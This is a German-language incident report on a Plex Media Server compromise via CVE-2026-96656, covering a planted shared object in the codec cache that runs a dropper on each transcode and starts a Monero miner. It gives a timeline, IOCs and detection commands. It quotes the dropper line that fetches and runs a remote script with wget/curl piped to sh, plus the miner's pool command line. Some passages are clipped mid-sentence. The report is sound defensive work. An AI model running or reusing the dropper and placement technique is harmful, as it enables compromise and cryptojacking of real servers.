
Incident-Bericht: Unsigned .so im Codec-Cache des Plex Media Server führt bei jedem Transcode einen Dropper aus (CVE-2026-96656) — IOCs, STIX, YARA
.so im Codec-Cache von Plex Media Server platziert führt bei jedem Transcode einen Monero-Miner ausVorfallsdatum: 2026-10-17 → 2026-10-18 (UTC+02:00)
Schwachstelle: CVE-2026-96656 (CVSS 4.0: 8.6, von CISA zugewiesen) — behoben in Plex Media Server 1.43.3.10861
Betroffen: Plex Media Server 1.43.2.10687 (Linux, offizieller linuxserver/plex-Container)
Status: eingedämmt; Neuaufsetzen des Hosts nicht erforderlich (keine Persistenz auf der Festplatte außerhalb des Codec-Cache)
Ein Angreifer mit Zugriff auf den Plex-Server hat ein unsigniertes Shared Object namens
zz45fbb275.so in das Codec-Verzeichnis der Anwendung abgelegt — ein Verzeichnis, das Plex
selbst befüllt und über FFMPEG_EXTERNAL_LIBS an jeden Transcoder übergibt. Das Objekt exportiert
nichts und deklariert keine Abhängigkeiten; seine gesamte Nutzlast besteht aus einem einzigen
.init_array-Konstruktor, sodass es in dem Moment ausgeführt wird, in dem der Transcoder es per dlopen() lädt.
Jeder Transcode — ein Client, der auf Wiedergabe drückt, oder die Thumbnail-/Analyse-Jobs der Bibliothek — führte daher erneut aus:
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
die ein xmrig-abgeleitetes RandomX-Miner (x12345) heruntergeladen und ihn gegen
ota.proxystream.st:3333 mit --rig-id plexdocker gestartet hat. Es gab keinen Cron-Job, keine systemd-
Unit, keine rc-Datei-Bearbeitung und keine modifizierte Binärdatei: der Codec-Cache war der Persistenz-
mechanismus. Nur das Töten des Miners allein infizierte den Host bei der nächsten Wiedergabe erneut.
| Zeit | Ereignis |
|---|---|
| 17. Okt. 07:50 | Erste WAN-Sitzung von 45.194.92.222; Anfragen authentifizieren sich als guest, registrieren dann einen Companion-Player und steuern /player/* und Agent-Endpunkte an |
| 17. Okt. 17:20 | zz45fbb275.so erstellt in …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/ (Verzeichnis-mtime ändert sich; keine andere Datei erscheint) |
| 17. Okt. 17:23 | /tmp/x12345 geschrieben (8.350.992 Bytes) |
| 17. Okt. 17:40 | Miner läuft: ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker, ~127 % CPU |
| 18. Okt. 10:48 | Zweite Dropper-Kette durch einen späteren Transcode gestartet — die Payload läuft bei Bedarf erneut |
| 18. Okt. 11:14 | Erkennung: Mining-Prozess gefunden, dessen PPid auf PID 1 des Containers zeigt |
| 18. Okt. 11:20–11:35 | Eindämmung: .so entfernt, Plex auf 1.43.4 aktualisiert, WAN-Zugriff auf 32400 blockiert |
Der Server war aus dem Internet erreichbar (Plex' eigene UPnP-Portzuordnung). Die Plex-Logs
zeigen, dass die Quelle 45.194.92.222 sich als guest authentifiziert und Agent-Aufrufe in
genau der Minute ausführt, in der die .so erschien; eine zweite Adresse, 91.92.40.202, erscheint ebenfalls mit
Guest-Authentifizierung.
Die öffentliche Beschreibung von CVE-2026-96656 passt exakt zu diesem Artefakt:
Plex Media Server vor 1.43.3.10861 erlaubt es einem Admin-Benutzer, beliebige Dateien zu schreiben, die beim Laden ausgeführt werden können. Die Einstellung
TranscoderH264Optionswird bei jedem Transcode wörtlich an x264s Optionsstring angehängt. Beim Start werden alle .so-Dateien ohne Signatur-, Ausführungsbit- oder Symbolprüfung ausgeführt.
Zwei Konsequenzen, die es wert sind, klar ausgesprochen zu werden:
PR:H). Die oben genannten guest-authentifizierten Anfragen
erklären für sich genommen nicht das Schreiben der Datei, daher muss das Admin-Token des Servers unabhängig davon
als kompromittiert betrachtet werden, wie die Anfrage gestellt wurde..so-Dateien im Codec-
Verzeichnis durchgeführt, weshalb eine Library, die nichts tut und nur einen einzigen Konstruktor hat, eine vollständige
Payload ist.Wir haben die spezifische Anfrage, die die Datei geschrieben hat, nicht erfasst — der Drop ist durch
Dateisystem-Zeitstempel und die Ausführungskette belegt, nicht durch einen Paketmitschnitt. Die
Einstellung TranscoderH264Options auf dem betroffenen Host wurde danach leer vorgefunden,
sodass der zum Schreiben der Datei verwendete Wert entweder zurückgesetzt oder überschrieben wurde; das ist das eine
Teil der Kette, das wir im Nachhinein nicht rekonstruieren können.
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
Da der Konstruktor beim Laden ausgeführt wird, muss das Objekt keine Codec-API implementieren. Es muss sich lediglich in einem Verzeichnis befinden, aus dem der Transcoder Bibliotheken lädt.
Platzierungsdetails, die es zu erkennen gilt:
lib*.so benannt; jede legitime Datei im Codec-Verzeichnis ist so benannt (libh264_decoder.so, libhevc_decoder.so, …). zz wurde wahrscheinlich gewählt, um zuletzt sortiert zu werden.Codecs/<set-id>-linux-x86_64/) wird normalerweise nur durch Plex' eigenen Codec-Download beschrieben, dessen Dateien alle lib-Präfixe tragen.EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder ist das einzige andere Nicht-lib-Objekt, das in diesen Baum gehört.filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker ist ein festes Operator-Tag — nützlich für Pivot-Suchen in Flow-Daten
und Pool-Telemetrie. Der Prozess wurde im Zustand T (gestoppt) gefunden und hielt ~2,3 GB RSS:
Gestoppt ist nicht harmlos, er wird fortgesetzt und hasht weiter.
PPid zeigte auf PID 1 des Containers (s6-svscan), weil der echte Elternprozess bereits
beendet war — Reparenting, keine Supervision. Der tatsächliche Starter war nur über das
gemeinsame Socketpair sichtbar: ss -xp listete die sh/wget-Kette, Plex Transcoder, den Tuner-
Dienst und den Plex-Server auf demselben Socketpair, und das Durchlaufen der Kindprozesse des laufenden
Plex Transcoder zeigte den Dropper als dessen Kind. Der Auslöser war der Transcode selbst.
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
Jeder Treffer, der nicht EasyAudioEncoder ist, ist verdächtig. Markiere außerdem ein Codec-Verzeichnis, dessen mtime sich geändert hat, ohne dass eine entsprechende lib*.so hinzugefügt wurde.
Prüfe die Einstellung, die CVE-2026-96656 für das beliebige Schreiben von Dateien missbraucht:
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
Ein nicht leerer Wert verdient es, gelesen zu werden — er wird bei jedem Transcode wörtlich an x264s Options-String angehängt, und alles, was darin wie ein Dateiname aussieht, landet auf der Festplatte. Auf dem Host hier war er nach dem Vorfall leer, daher ist Abwesenheit kein Beweis für Abwesenheit: korrelieren Sie dies mit der mtime der Datei.